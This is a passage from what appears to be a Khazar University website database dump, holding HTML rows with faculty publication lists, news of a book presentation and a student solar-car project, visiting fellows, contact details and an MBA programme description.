style=\"text-align:justify\">2. Ehkamçı rasionalizm - kəlam, Məqalə, “Dövlət və Din” ictimai fikir toplusu, aprel buraxılışı. Bakı, 2010, səh. 70-77.&nbsp;<em></em></p><p style=\"text-align:justify\">3. Müasir müsəlman qadının social – mədəni marifləndirmə irsindəki rolu, Məqalə, “Dövlət və Din” ictimai fikir toplusu, iyun buraxılışı. Bakı, 2010, səh. 124-131.<em></em></p><p style=\"text-align:justify\">4.&nbsp;Qurani-Kərimdə “ağıl” məfhumu: mülahizələr və qeydlər, Məqalə, “Dövlət və Din” ictimai fikir toplusu, avqust buraxılışı. Bakı, 2010, səh. 157-161.<em></em></p><p style=\"text-align:justify\">5.&nbsp;Qurani-Kərimin təfsiri və təfsir növləri, Məqalə, “Dövlət və Din” ictimai fikir toplusu, oktyabr buraxılışı. Bakı, 2010, səh. 196-202.<em></em></p><p style=\"text-align:justify\">6.&nbsp;Məşşai filosofları İbn Miskəveyh, Sicistani və Bətəlyövsiyə görə din-fəlsəfə münasibətləri, Məqalə, “Dövlət və Din” ictimai fikir toplusu, dekabr buraxılışı. Bakı, 2010, səh. 42-48.<em></em></p><p style=\"text-align:justify\">7. Müasir dövrdə “Mötədil islam” layihəsinə dair bəzi mülahizələr, Məqalə, “Şərqşünaslıq” jurnalı. AMEA Z.M.Bünyadov adına Şərqşünaslıq institutunun elmi məcmuəsi, № 2(4), Bakı, 2010, səh. 25-31.<em></em></p><p style=\"text-align:justify\">8. Qədim yunan ictimai fikrində və xristianlıq təlimində fəlsəfə və din, Məqalə, “Dövlət və Din” ictimai fikir toplusu, fevral buraxılışı. Bakı, 2011, səh. 52-58.<em></em></p><p style=\"text-align:justify\">9.&nbsp;İbn Sinanın fəlsəfi təlimində din və fəlsəfə, Məqalə, “Dövlət və Din” ictimai fikir toplusu, avqust buraxılışı. Bakı, 2011, səh. 41-52.<em></em></p><p style=\"text-align:justify\">10.&nbsp;Qəzali və məşşailik təlimində dinlə fəlsəfənin uyğunlaşdırılması cəhdlərinin tənqidi, Məqalə, “Dövlət və Din” ictimai fikir toplusu, may-iyun buraxılışı. Bakı, 2012.&nbsp;<em></em></p><p style=\"text-align:justify\">11.&nbsp;Alın yazısı: imtahan, yoxsa təsadüf?, Məqalə, “Bona-Mente” jurnalı, Bakı, sentyabr-oktyabr buraxılışı, 8 (37) 2012, səh. 68-72.<em></em></p><p style=\"text-align:justify\">12. İslamda etiqad azadlığı və dönüklərin cəzalandırılması haqqında, Məqalə,&nbsp;“Din və etiqad azadlığı: hüquqi, siyasi və ictimai aspektlər” tezislər toplusu 2012, səh. 119-122.<em></em></p><p style=\"text-align:justify\">13. Orta əsr müsəlman fəlsəfi fikrinin yaranması və qeyri-fəlsəfi rasional fikirlə müqayisəsi haqda, Məqalə, AMEA akad. Z.M. Bünyadov adına Şərqşünaslıq institutunun “Elmi araşdırmalar”ı məcmuəsi, IX buraxılış, Bakı, 2012, səh. 437-446.<em></em></p><p style=\"text-align:justify\">14. Molla Sədranın dini-fəlsəfi təlimi: ümumi baxış və bəzi qeydlər, Tezis, Akademik V. Məmmədəliyevin 70 illik yubileyinə həsr olunmuş “Şərqşünaslığın aktual problemləri” mövzusunda Respublika elmi konfransının materialları, Bakı, 2012, səh. 387-388.<em></em></p><p style=\"text-align:justify\">15. Sünnədə hüquq və qeyri-hüquq məsələləri haqqında, Məqalə, İnsan Hüquqları İnstitutunun 15 illik yubileyi münasibətilə nəşr edilmiş “Din, etiqad azadlığı və təhlükəsizlik problemləri” çoxcildliyinin (6 cilddə) “Din və ictimai təhlükəsizliyin aktual problemləri” cildi. Bakı, 2013, səh. 169-184.<em></em></p><p style=\"text-align:justify\">16.&nbsp;Bir daha İbn Rüşd və ikili həqiqət haqqında, Məqalə, Azərbaycan Şərqşünaslıq elminin inkişaf yolları, Akademik Vasim Məmmədəliyevin anadan olmasının 70 illiyinə həsr olunmuş Beynəlxalq konfransın materialları. Bakı, 27-28 iyun 2013-cü il, səh. 765-767.&nbsp;<em></em></p><p style=\"text-align:justify\">17. Dönüklərin cəzalandırılması baxımından islamda etiqad azadlığı haqqında, Məqalə, “Azərbaycan şərqşünaslığı” jurnalı, № 1 (10), 2013, səh. 41-44<em>.</em></p><p style=\"text-align:justify\">18. Quran ayələrinin mövzular üzrə təsnifatı – Fehrist (3 cilddə. Elmi redaktor: Akad. V. Məmmədəliyev), Kitab,&nbsp;Bakı, 2014,&nbsp;2674 səh<em></em></p><p style=\"text-align:justify\">19. Çağdaş Azərbaycanda islam və cəmiyyət, Kitab,&nbsp;Bakı: “Yeni Nəsil”, 2009,&nbsp;122 səh, Q. Yaquboğlu, S. Mustafaoğlu<em></em></p><p style=\"text-align:justify\">20. İslam və elm: ümumi qeydlər, Məqalə, “Azərbaycan şərqşünaslığı” jurnalı, № 1 (11), 2014, səh. 14-17.<em></em></p><p style=\"text-align:justify\">21. Siyasi-ideoloji yanaşma kimi bir daha “islam fundamentalizmi” haqqında, Məqalə, AMEA akad. Z.M. Bünyadov ad. Şərqşünaslıq institutunun “Elmi araşdırmalar” məcmuəsi, Bakı, 2014, səh. 367-375<em>.&nbsp;</em></p><p style=\"text-align:justify\">22. Müsəlmanın gündəlik ibadət kitabçası, Kitab&nbsp;Bakı: “Nurlar”, 2014,&nbsp;191 səh<em>.</em></p><p style=\"text-align:justify\">23. İslamda ağıl: mahiyyəti və funksiyaları, Məqalə, “Azərbaycan şərqşünaslığı” jurnalı, № 1 (11), 2014, səh. 14-17.<em></em></p><p style=\"text-align:justify\">24. İbn Heysəm – optika problemlərinin müsəlman tədqiqatçısı kimi, Məqalə, “Dövlət və din” ictimai fikir toplusu, Bakı, 2015, № 06 (35), səh. 69-77<em></em></p><p style=\"text-align:justify\">25. Dini radikalizmlə mübarizədə mö`tədillik metodoloji vasitə kimi, Məqalə, Dini radikalizm: tarixi, yaranma səbəbləri və fəsadları. Bakı, 2016, səh. 149-171.<em></em></p><p style=\"text-align:justify\">26.&nbsp;Ramazanı tanıyaq (30 sual-cavabda Ramazan ayı və orucu haqqında – illüstasiyalı), Kitab, Bakı, 2015, 46 səh.</p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align:justify\"><strong style=\"text-align:justify\">Dr. Elnura Azizova</strong></p>\r\n<p style=\"text-align:justify\"><strong>Books:</strong></p>\r\n<p style=\"text-align:justify\">“Working Life and Occupations in the Period of Prophet Muhammad”,\r\nISAM, Istanbul 2011, 494 p.</p>\r\n<p style=\"text-align:justify\"><strong>Selected articles:</strong></p>\r\n<p style=\"text-align:justify\">1.MA Dissertation title: Event of Kerbala, Institute of Social\r\nSciences of Marmara University, Istanbul 2001</p>\r\n<p style=\"text-align:justify\">2.Ph.D. Dissertation title: Working Life and Professions in\r\nProphet Muhammad\'s Period, Institute of Social Sciences of Marmara University,\r\nIstanbul 2007.&nbsp;</p>\r\n<p style=\"text-align:justify\">3.Working life and professions in Islam” (Turkish), Collection of\r\nScientific Journals of Baku State University, N 08 (17) September 2007, Baku,\r\npp. 161-189.&nbsp;</p>\r\n<p style=\"text-align:justify\">4.“The role of women in medicine in the first period of Islam”\r\n(Turkish), “Issues of Philology” journal, National Academy of Sciences, N 2,\r\nBaku, 2008, pp. 511-516.&nbsp;</p>\r\n<p style=\"text-align:justify\">5.“Medicine and treatment methods in the first period of Islam” (Turkish),\r\n“Issues of Philology” journal, journal, Azerbaijan National Academy of\r\nSciences, N 5, Baku, 2008, pp. 404-413.&nbsp;</p>\r\n<p style=\"text-align:justify\">6.“Karbala in the Turkish literature” (Turkish), “Issues of\r\nPhilology” journal, Azerbaijan National Academy of Sciences, N 6, Baku, 2007,\r\npp. 289-296.&nbsp;</p>\r\n<p style=\"text-align:justify\">7.“Karbala in the Arabic literature” (Turkish), “Scientific\r\nResearches” journal, vol. XXII, Baku, 2007, pp. 152-155.&nbsp;</p>\r\n<p style=\"text-align:justify\">8.“Karbala in the Persian literature” (Turkish), “The Language and\r\nLiterature” journal, 4(58), Baku, 2007, pp. 30-132.&nbsp;</p>\r\n<p style=\"text-align:justify\">9.“Religious pluralism and claims of truth” (Azerbaijani), ”State\r\nand Religion” journal, 2 (6), Baku, 2008, pp. 154-162.&nbsp;</p>\r\n<p style=\"text-align:justify\">10. “Scientology” (Azerbaijani), “State and Religion” journal, 3\r\n(4), Baku, 2007, pp. 202-210.</p>\r\n<p style=\"text-align:justify\">11. “Labor as one of the constructive values of Islamic\r\nCivilization” (Azerbaijani), “State and Religion” journal, 4 (8), Baku 2008,\r\npp. 190-197.</p>\r\n<p style=\"text-align:justify\">12. “Labor as one of the fundamental values of Islamic\r\nCivilization” (Turkish), “Mercy” journal</p>\r\n<p style=\"text-align:justify\">13. “Some notes on the entertainment life in the first period of\r\nIslam” (Turkish), Collection of Scientific Journals of Baku State University,\r\nBaku, April 2009, pp. 170-181.</p>\r\n<p style=\"text-align:justify\">14. “Some notes on the tradition of wet nursing from Djahiliyah to\r\nIslam”, Collection of Scientific Journals of Baku State University, N 13,\r\nApril, Baku 2010, pp. 195-204.</p>\r\n<p style=\"text-align:justify\">15. “Some finding on trade life from Djahiliyah to Islam”\r\n(Turkish), No 14, September, Baku 2010, pp. 105-114.</p>\r\n<p style=\"text-align:justify\">16. “Tenûh”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2011, XL, pp.\r\n468-469.</p>\r\n<p style=\"text-align:justify\">17. “Some Notes on Islamic Pluralism” (English), Collection of\r\nScientific Journals of Baku State University, Baku, vol. 17, 2012</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\">1. “Comparative Analysis of Religious Foundation of the Global\r\nEthic and the Principle of Humanity, Collection of Scientific Journals of Baku\r\nState University, vol. 19, 2013</p>\r\n<p style=\"text-align:justify\">2.“Teym b. Mürre (Benî Teym b. Mürre)”,&nbsp;<em>DİA</em>, İSAM,\r\nİstanbul 2013, XLI, pp. 52-53.</p>\r\n<p style=\"text-align:justify\">3. “Teymâ”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013, XLI, pp.\r\n53-54.</p>\r\n<p style=\"text-align:justify\">4.“Teymullah”, DİA, İSAM, İstanbul 2013, XLI, pp. 56.</p>\r\n<p style=\"text-align:justify\">5. “Tihâme”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013, XLI, pp.\r\n153-154.</p>\r\n<p style=\"text-align:justify\">6. “Ubeyd b. Şeriyye”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013,\r\nXLII, pp. 15-16.</p>\r\n<p style=\"text-align:justify\">7. “Ukayl (Benî Ukayl)”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013,\r\nXLII, pp. 57-59.</p>\r\n<p style=\"text-align:justify\">8.“Ukaz”,&nbsp;<em>DİA,</em>&nbsp;İSAM, İstanbul 2013, XLII, pp.\r\n61-62.</p>\r\n<p style=\"text-align:justify\">9. “Üreyne (Benî Üreyne)”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013,\r\nXLII, pp. 174-175.</p>\r\n<p style=\"text-align:justify\">10. “Vâdilkurâ”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013, XLII, pp.\r\n421-423.</p>\r\n<p style=\"text-align:justify\">11. “Zübyân (Benî Zübyân)”,&nbsp;<em>DİA</em>, İSAM, İstanbul\r\n2013, XLIV, pp. 527.</p>\r\n<p style=\"text-align:justify\">12. “Zülmecâz”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013, XLIV, pp.\r\n570-571.</p>\r\n<p style=\"text-align:justify\">“Zühre (Benî Zühre)”,&nbsp;<em>DİA</em>, İSAM, İstanbul 2013,\r\nXLIV, pp. 544.</p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c40/c400274.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c40/c400274.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c41/c410033.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c41/c410033.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c41/c410035.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c41/c410035.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c41/c410093.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c41/c410093.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c42/c420008.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c42/c420008.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c42/c420039.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c42/c420039.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c42/c420042.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c42/c420042.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c42/c420131.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c42/c420131.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c42/c420307.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c42/c420307.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c44/c440322.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c44/c440322.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c44/c440333.pdf\"><strong>http://www.islamansiklopedisi.info/dia/pdf/c44/c440333.pdf</strong></a></p>\r\n<p style=\"text-align:justify\"><strong><a href=\"http://www.islamansiklopedisi.info/dia/pdf/c42/c420131.pdf\">http://www.islamansiklopedisi.info/dia/pdf/c42/c420131.pdf</a></strong></p>'),(1635,1010,'az','Arxiv sənədlərindən ibarət kitabın təqdimatı','Aprelin 26-da Xəzər Universitetində görkəmli şair, nasir, publisist, tarix tədqiqatçısı Teyyub Qurbanın tərtib etdiyi “На имя Багирова, за подписью Багирова” (“Bağırovun adına, Bağırovun imzası ilə”) adlı kitabın təqdimat mərasimi olmuşdur. Mərasimdə ölkənin müxtəlif ali təhsil və elm ocaqlarında çalışan alim və mütəxəssislər, Xəzər Universitetinin əməkdaşları iştirak edirdilər.','<p>Aprelin 26-da Xəzər Universitetində görkəmli şair, nasir, publisist,\r\ntarix tədqiqatçısı Teyyub Qurbanın tərtib etdiyi “На\r\nимя Багирова, за подписью Багирова” (“Bağırovun adına, Bağırovun imzası ilə”) adlı kitabın təqdimat mərasimi olmuşdur. Mərasimdə\r\nölkənin müxtəlif ali təhsil və elm ocaqlarında çalışan alim və mütəxəssislər, Xəzər\r\nUniversitetinin əməkdaşları iştirak edirdilər.</p>\r\n<p>Tədbirin aparıcısı – Azərbaycan Rüspublikasının Prezidenti yanında\r\nDövlət İdarəçilik Akademiyasının kafedra müdiri, tarix elmləri üzrə fəlsəfə\r\ndoktoru, dosent Firdovsiyyə Əhəmdova&nbsp;&nbsp; Teyyub Qurbanın 20 il ərzində\r\nMir Cəfər Bağırovun fəaliyyətini arxiv sənədləri əsasında tədqiq etdiyini, bunun&nbsp;\r\nnəticəsi olaraq üzərində çalışdığı çoxcildliyin&nbsp; “Düşmənlərindən güclü şəxsiyyət”\r\nadı ilə artıq üç cildinin çapdan çıxdığını və bir neçə dəfə təkrar nəşr\r\nolunduğunu, oxuculara təqdim edilən kitabın isə&nbsp; fərqli nəşr\r\nolduğunu&nbsp;&nbsp; iştirakçıların nəzərinə çatdırdı.</p>\r\n<p>Kitabın redaktoru və ön sözün müəllifi, əməkdar jurnalist Əlirza\r\nBalayev çıxışında bildirdi ki, təqdimatı keçirilən kitab Teyyub Qurbanın öz əsərlərində\r\nistifadə etdiyi arxiv sənədlərindən ibarətdir və oxuculara heç bir çərh və\r\nizahat olmadan təqdim edilir ki, bu da hər kəsə tanış olduğu sənədlər əsasında\r\nöz rəyini formalaşdırmaq imkanı verir.</p>\r\n<p>Mərasimdə kitabın hazırlanması və çapının təşəbbüskarı Faiq Həbibov,\r\nMir Cəfər Bağırov nəslinin nümayəndəsi Məmmədtağı Bağırov, Azərbaycan\r\nRespublikası&nbsp; Prezidentinin İşlər İdarəsinin Siyasi Sənədlər Arxivinin şöbə\r\nmüdiri, tarix elmləri üzrə fəlsəfə doktoru Lalə Hüseynova, Xəzər Universiteti\r\nAvrasiya və Orta şərq Araşdırmaları mərkəzinin direktoru, AMEA akdemik Ziya\r\nBünyadov adına&nbsp; Şərqşünaslıq İnstitutunun Ərəb ölkələri tarixi və\r\niqtisadiyyatı şöbəsinin müdiri Fərda Əsədov, AMEA A. A. Bakıxanov adınaTarix\r\nİnstitutunun aparıcı elmi işçisi, tarix elmləri üzrə fəlsəfə doktoru Əzizağa Ələkbərov,\r\nAzərbaycanın sabiq baş naziri Rəhim Hüseynov və digərləri çıxış edərək, Teyyub\r\nQurbanın Mir Cəfər Bağırova həsr olunmuş əsərləri haqqında fikir və mülahizələrini\r\nsöyləmişlər.</p>\r\n<p>Sonda aparıcı F. Əhmədova təqdimat mərasimimnin təşkilinə gərə Xəzər\r\nUniversitetinin rəhbərliyinə və iştirakçılara təşəkkürünü bildirmişdir.</p>'),(1636,1011,'az','Tələbələr elektromobil hazırladılar','2016-cı il aprelin 27-də Xəzər Universitetində Elektronika və telekomunikasiya departamentinin dəstəyi ilə tələbələr arasında günəş elektromobili layihəsinin təqdimatı oldu.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil aprelin 27-də\r\nXəzər Universitetində Elektronika və telekomunikasiya departamentinin dəstəyi\r\nilə tələbələr arasında günəş elektromobili layihəsinin təqdimatı oldu. Mühəndislik\r\nvə tətbiqi elmlər fakültəsinin elektronika və mexanika ixtisasları üzrə təhsil\r\nalan bir qrup tələbə komanda şəklində hazırladıqları günəş elektromobillərini təqdim\r\netdilər. Ümumilikdə, 10 tələbədən ibarət 5 komanda yarışa qatılmışdı. Mühəndislik\r\nvə tətbiqi elmlər fakültəsinin müəllimlərindən ibarət münsiflərin ümumi rəyi ilə\r\nqalib komandalar müəyyən olundu.</p>'),(1637,1011,'en','Students Build Solar Cars','On April 27, 2016, students made presentations of solar electric cars they built as part of a project of the Khazar University Department of Electronics and Telecommunications.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nApril 27, 2016, students made presentations of solar electric cars they built\r\nas part of a project of the Khazar University Department of Electronics and\r\nTelecommunications. Students of the School of Engineering and Applied Sciences\r\nparticipated in teams. Five teams made up of 10 students participated in the\r\nproject. A jury of instructors from the School of Engineering and Applied\r\nSciences judged the cars and determined a winner. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(875,580,'en','Visiting Fellows','Visiting Fellows','<div><br></div><div><br></div><div><p><strong>Visiting researchers and lecturers</strong></p><p>Prof. Leonard Swidler,&nbsp;<a href=\"http://astro.temple.edu/~swidler/swidler_cv-final.html\"><strong>http://astro.temple.edu/~swidler/swidler_cv-final.html</strong></a></p><p>Dr. Dobroslawa Victor-Mach<strong>&nbsp;&nbsp;</strong><strong><a href=\"http://uek-krakow.academia.edu/DWiktorMach\">http://uek-krakow.academia.edu/DWiktorMach</a></strong></p>  <div><br></div><br></div>'),(876,580,'az','Qonaq Tədqiqatçı','Qonaq Tədqiqatçı','<div><br></div><div><br></div><div><h4><strong>Qonaq professor heyəti:</strong></h4><div><strong><br></strong></div><p>Prof. Leonard Swidler,&nbsp;<a href=\"http://astro.temple.edu/~swidler/swidler_cv-final.html\"><strong>http://astro.temple.edu/~swidler/swidler_cv-final.html</strong></a></p><p>Dr. Dobroslawa Victor-Mach&nbsp;<strong>&nbsp;</strong><a href=\"http://uek-krakow.academia.edu/DWiktorMach\"><strong>http://uek-krakow.academia.edu/DWiktorMach</strong></a></p>  <br></div>'),(877,581,'en','Contact Us','Contact Us','<div><br></div><div> <div style=\"font-size:large\"><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Khazar University (Neftchilar Campus)</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">11 Mehseti Str. AZ 1096</p><p margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Baku,Azerbaijan<br><br>Tel: +99412 4211093&nbsp; (ext. 215)</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Email:&nbsp;<strong>&nbsp; &nbsp;</strong><strong>Assistant of the &nbsp;Department</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"http://ltagiyeva@khazar.org/\">ltagiyeva@khazar.org&nbsp;</a></p></div><div><br></div><br></div>'),(878,581,'az','Bizimlə əlaqə','Bizimlə əlaqə','<div><br></div><div><div style=\"font-size:large\">Xəzər Universiteti (Neftçilər kampusu)</div><div style=\"font-size:large\">11 Məhsəti Küç. AZ 1096</div><div style=\"font-size:large\">Bakı, Azərbaycan</div><div style=\"font-size:large\">Tel: +99412 4211093 (. Ext 215)</div><div style=\"font-size:large\"><br></div><div style=\"font-size:large\">Email:&nbsp;<strong>Departament Assistenti</strong></div><div style=\"font-size:large\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href=\"http://X%C9%99z%C9%99r%20Universiteti%20(Neft%C3%A7il%C9%99r%20kampusu)%20%2011%20M%C9%99hs%C9%99ti%20Str.%20AZ%201096%20%20Bak%C4%B1,%20Az%C9%99rbaycan%20%20Tel:%20+99412%204211093%20(.%20Ext%20215)%20%20Email%3A%20%C5%9F%C3%B6b%C9%99sinin%20m%C3%BCdiri%20%20%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%20eazizova%40khazar.org%20%20%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%20%C5%9E%C3%B6b%C9%99sinin%20k%C3%B6m%C9%99k%C3%A7isi%20%20%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%20ltagiyeva@khazar.org/\">&nbsp;&nbsp; ltagiyeva@khazar.org</a></div><div style=\"font-size:medium\"><br></div>  <br></div>'),(879,230,'az','Magistr ','Magistr ','<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><a><strong><br></strong></a></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Biznesin&nbsp;idarə olunması üzrə İxtisaslaşmadan asılı olaraq MBA\r\nproqramı biznesin müxtəlif sahələrinin idarə olunmasına dair dərin biliklər\r\nverir və bacarıqları inkişaf etdirir. MBA məzunları hər hansı bir təşkilatda\r\nrəqabət aparmaqda öz üstünlüklərini nümayiş etdirirlər.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Biznes aləmində lider mövqeyin tutulmasında\r\nMBA proqramında əldə edilmiş biliklər həlledici rol oynayır.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Proqramda əldə edilmiş bilik və bacarıqlar hər\r\nhansı bir təşkilatda tətbiq oluna bilər.Bu istər peşəkar menecerlər, istərsə də\r\nsahibkarlıq arzusunda olanlar üçün&nbsp; münasibdir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">MBA proqramı beynəlxalq təcrübəyə əsaslanaraq\r\nhazırlanmışdır. Bu proqram üzrə dərs deyən müəllimlərin əksəriyyəti aparıcı\r\nxarici universitetləri bitirmiş və ya həmin universitetlərdə ixtisaslarını\r\nartırmışlar.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Xəzər\r\nUniversitetinin tanınmış xarici&nbsp; universitetlərlə sıx əlaqələri\r\nintellektual resurslar və təcrübə mübadiləsi üçün geniş imkanlar yaradır. Məhz\r\nbu amillərə görə universitetimizin MBA proqramı hər hansı bir biznes\r\nproblemini, geniş maraq dairəsi baxımından tədqiq etməyə, liderlik və\r\nsahibkarlıq istedadları və peşəkar bilikləri inkişaf etdirməyə imkan yaradır.</p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Proqramın\r\nxülasəsi</strong></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Proqram\r\niki illik müddət üçün nəzərdə tutulub. Tədrisdə&nbsp; müxtəlif üsullardan\r\nistifadə edilir– mühazirələr, seminarlar, müzakirələr, tətbiqi misalların\r\ntəhlili, biznes simulyasiya, qrup fəaliyyəti. Biliklərin qiymətləndirilməsi\r\nüçün formal tapşırıqlar, qrup təqdimatları, kurs işləri və yazılı imtahanlardan\r\nistifadə edilir.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">Proqramın\r\nüstünlüklərdən biri də ondan ibarətdir ki, dərs cədvəlinin tərtibində&nbsp;\r\ntələbələrin iş qrafikləri nəzərə alınır.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><strong>MBA\r\ndərəcəsinin tələbləri</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\">MBA&nbsp;dərəcəsini almaq\r\nüçun tələbə proqramın məzmun və həcm tələblərini tam yerinə yetirməlidir.&nbsp;Proqram 45 kreditin toplanmasını nəzərdə\r\ntutur.</p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p>  <p style=\"\" margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\"><strong>Tədris proqramı</strong></p><p style=\"\" margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">A.<strong>İlkin tələblər</strong></p><p style=\"\" margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">Cəbr və riyaziyyat</p>\r\n<p style=\"\" margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:35.4pt;text-align:justify;line-height:normal\"\"=\"\">Kompüterdə işləmək vərdişləri</p><p>\r\nÜnsiyyət vərdişləri  </p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-bottom:10.0pt;margin-left:3.75pt;text-align:justify;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:4.0pt;margin-right:0in;margin-bottom:10.0pt;margin-left:0in;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">B<strong>. Baza bilikləri</strong></p><p style=\"\" mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">Biznes təhsili olmayan\r\ntələbələrə birinci semestrdə əlavə olaraq aşağıdakı fənlər təklif olunur:</p>\r\n<ul type=\"disc\">\r\n <li><strong>Statistika</strong></li>\r\n <li><strong>İqtisadiyyat</strong></li>\r\n</ul>\r\n<p style=\"\" 